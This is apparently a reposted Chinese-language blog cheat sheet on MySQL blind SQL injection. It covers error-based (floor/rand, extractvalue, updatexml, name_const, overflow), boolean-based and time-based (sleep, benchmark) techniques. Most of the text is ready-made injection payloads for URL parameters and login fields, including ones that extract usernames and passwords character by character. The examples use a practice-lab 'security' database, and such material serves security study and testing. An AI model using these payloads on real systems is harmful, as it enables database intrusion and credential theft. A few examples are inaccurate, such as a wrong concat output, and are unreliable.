SQL 盲注方法总结

盲注手法

0x报错型盲注

0x01 函数讲解

  1. 函数

    rand()  产生一个不固定的0~1的随机数列,加了参数之后会变成固定的伪随机数列
    rand(0),rand(1),当使用一个整数参数时,rand使用该参数作为种子生成一个固定的伪随机数列
    floor  向下取整 floor(2.5) == 2
    count()统计元组的个数
    concat() 字符串连接 concat('~~','aaa','bbb',) =>'aaa~~bbb' 
    concat_ws() 字符串连接 concat_ws('~~','aaa','bbb',) =>'aaa~~bbb'   
    extractvalue(最长32位) MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是 ExtractValue()和 UpdateXML()
    updateXml(最长32位)
    name_const(): mysql存储过程中的本地变量会被一个内部函数 name_const 转化,似乎是专门为存储过程设计的,没有提到有其它特别之处.  
    

0x02 方法示例

  1. 布尔型盲注手法,按位爆破

    1. left()
    2. ascii()、substr()
    3. regexp
    4. ord()、mid()

    ?id=1’and left((select database() limit 0,1),1)=’s’#

  2. 利用 floor(rand(x)*2) 的执行bug进行报错注入

    ?id=1” union select 1,count(*),concat((你希望的查询语句),floor(rand(0)*2))a from information_schema.columns group by a#

    ?id=1” and (select 1 from(select count(*),concat((你希望的查询语句),floor(rand(0)*2))x from information_schema.tables group by x)a)#

  3. 利用 extractvalue() 函数报错注入(有长度限制,最长32位,mysql 5.0不可用,mysql 5.6可用)

    ?id=1” and extractvalue(1,concat(0x7e,(你希望的查询语句)))#

    ?id=1” and extractvalue(1,concat(0x7e,((select * from(select concat((你希望的查询语句))x from information_schema.tables group by x)a))))#

    ?id=1” and extractvalue(1,concat(0x7e,(database())))#

    ?id=1” and extractvalue(1,concat(0x7e,((select * from(select concat((select username from security.users limit 0,1))x from information_schema.tables group by x)a))))#

  4. 利用 updatexml() 函数报错注入(有长度限制,最长32位)

    ?id=1” and updatexml(1,concat(0x7e,(你希望的查询语句),0x7e),1)#

  5. 利用 name_const 数据的重复性(低版本可用,mysql 5.0可用,mysql 5.6不可用 )

    ?id=1” union select 1,2,3 from (select name_const((你希望的查询语句),1),name_const((你希望的查询语句),1))x #

    ?id=1” and exists(select * from (select * from(select name_const((你希望的查询语句),0))a join(select name_const((你希望的查询语句),0))b)c)#

  6. 利用 double 数值类型超出范围进行报错注入

    ?id=1” union select (exp(~(select * from(select user())a))),2,3#

    未测试成功

  7. 利用 bigint 溢出进行报错注入(这些溢出错误会导致MySQL版本5.5.5及以上)

    基于 bigint 溢出错误的SQL注入( https://www.cnblogs.com/lcamry/articles/5509112.html)

    未测试成功

    ?id=1” union select (!(select * from (select user())x) - ~0),2,3#

    下面为句式:

    !(select*from(select user())x)-~0

    (select(!x-~0)from(select(select user())x)a)

    (select!x-~0.from(select(select user())x)a)

    select ~0+!(select*from(select user())x)

  8. 一个句式组合:

    (select * from(select concat((你希望的查询语句))x from information_schema.tables group by x)a)

    遇到无法使用 select * from * 查询的时候,可以使用这个万能句式,代替下面的“你希望的查询语句”

    ?id=1" and (select 1 from(select count(*),concat((你希望的查询语句),floor(rand(0)*2))x from information_schema.tables group by x)a)#
    
    ?id=1" and extractvalue(1,concat(0x7e,(你希望的查询语句)))#
    
    ?id=1" and updatexml(1,concat(0x7e,(你希望的查询语句),0x7e),1)#
    
    ?id=1" and exists(select * from (select * from(select name_const((你希望的查询语句),0))a join(select name_const((你希望的查询语句),0))b)c)#
    
    ?id=1" union select 1,2,3 from (select name_const((你希望的查询语句),1),name_const((你希望的查询语句),1))x #
    
    ?id=1" union select (exp(~(select * from(select user())a))),2,3#
    
    and so on...
    

布尔型盲注

四种方法讲解

  1. 函数

    1. left()
    2. ascii()、substr()
    3. regexp
    4. ord()、mid()

方法示例

  1. left()

    admin’ and left((要注入的语句),1)=’xxx’#

    admin’and left((select database() limit 0,1),1)=’s’#

  2. ascii(substr((语句),1,))=xxx //二进制

    admin’ and ascii(substr((要注入的语句),0,1))=102#

    admin’ and ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1))=101#

    MySQL 字符串截取函数:left(), right(), substring(), substring_index(), mid(), substr()。其中 mid(), substr() 等价于 substring() 函数

  3. xxxx regexp ‘\^us[a-z]’

    admin’ and ((要注入的语句) regexp ‘\^se’ limit 0,1)#

    admin’ and (select database() regexp ‘\^se’ limit 0,1)#

  4. ord(mid((语句),1,1))=xxx // 十六进制

    admin’ and ord(mid((select username from security.users limit 0,1),1,1))=68#

    admin’ and ord(mid((select password from security.users limit 0,1),1,1))=68#

    ifnull(expr1,expr2),含义是:如果第一个参数不为空,则返回第一个参数,否则返回第二个参数。 cast(字段名 as 转换的类型 )

    admin’ and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68#

    admin’ and ord(mid((select ifnull(cast(password as char),0x20)from security.users order by id limit 0,1),1,1))=68#

延时型盲注

  1. 利用 sleep() 函数进行注入

    ?id=1’ and if(ascii(substr(database(),1,1))=115,sleep(5),1)#

    ?id=1’ union select (if(substring(database(),1,1)=char(115),sleep(5),1)),2,3#

    ?id=1’ and if(ascii(substr((要执行的语句),1,1))=115,sleep(5),1)#

    ?id=1’ union select (if(substring((要执行的语句),1,1)=char(115),sleep(5),1)),2,3#

    当错误的时候会有5 秒的时间延时。

  2. 利用 benchmark()进行延时注入

    ?id=1’ and (select 1 from (select concat((ascii(substr((要执行的语句),1,1))=115),benchmark(50000000,encode(‘msg’,’key’)))x from information_schema.tables group by x)a)#

    ?id=1’ and if(ascii(substr((要执行的语句),1,1))=115,benchmark(50000000,encode(‘msg’,’key’)),1)#

    ?id=1’ union select (if(substring((要执行的语句),1,1)=char(115),benchmark(50000000,encode(‘msg’,’key’)),1)),2,3#

    ?id=1’ and (select 1 from (select concat((ascii(substr((database()),1,1))=115),benchmark(50000000,encode(‘msg’,’key’)))x from information_schema.tables group by x)a)#

    ?id=1’ and (select 1 from (select concat((select username from security.users limit 0,1),benchmark(50000000,encode(‘msg’,’key’)))x from information_schema.tables group by x)a)#

    ?id=1’ and if(ascii(substr(benchmark(50000000,encode(‘msg’,’key’)),1,1))=115,sleep(5),1)#

    ?id=1’ union select (if(substring((select database() limit 0,1),1,1)=char(115),benchmark(50000000,encode(‘msg’,’key’)),1)),2,3#

    当结果正确的时候,运行encode(‘msg’,’key’)操作50000000 次,会占用一段时间。

    benchmark()函数,可以测试某些特定操作的执行速度。该函数只是简单地返回服务器执行表达式的时间,而不会涉及分析和优化的开销。

    MySQL 字符串截取函数:left(), right(), substring(), substring_index(), mid(), substr()。其中 mid(), substr() 等价于 substring() 函数

    encode() 对字符进行加密运算 mysql加密解密方式用法 encode()、decode()

猜你喜欢

转载自blog.csdn.net/Kevinhanser/article/details/81592866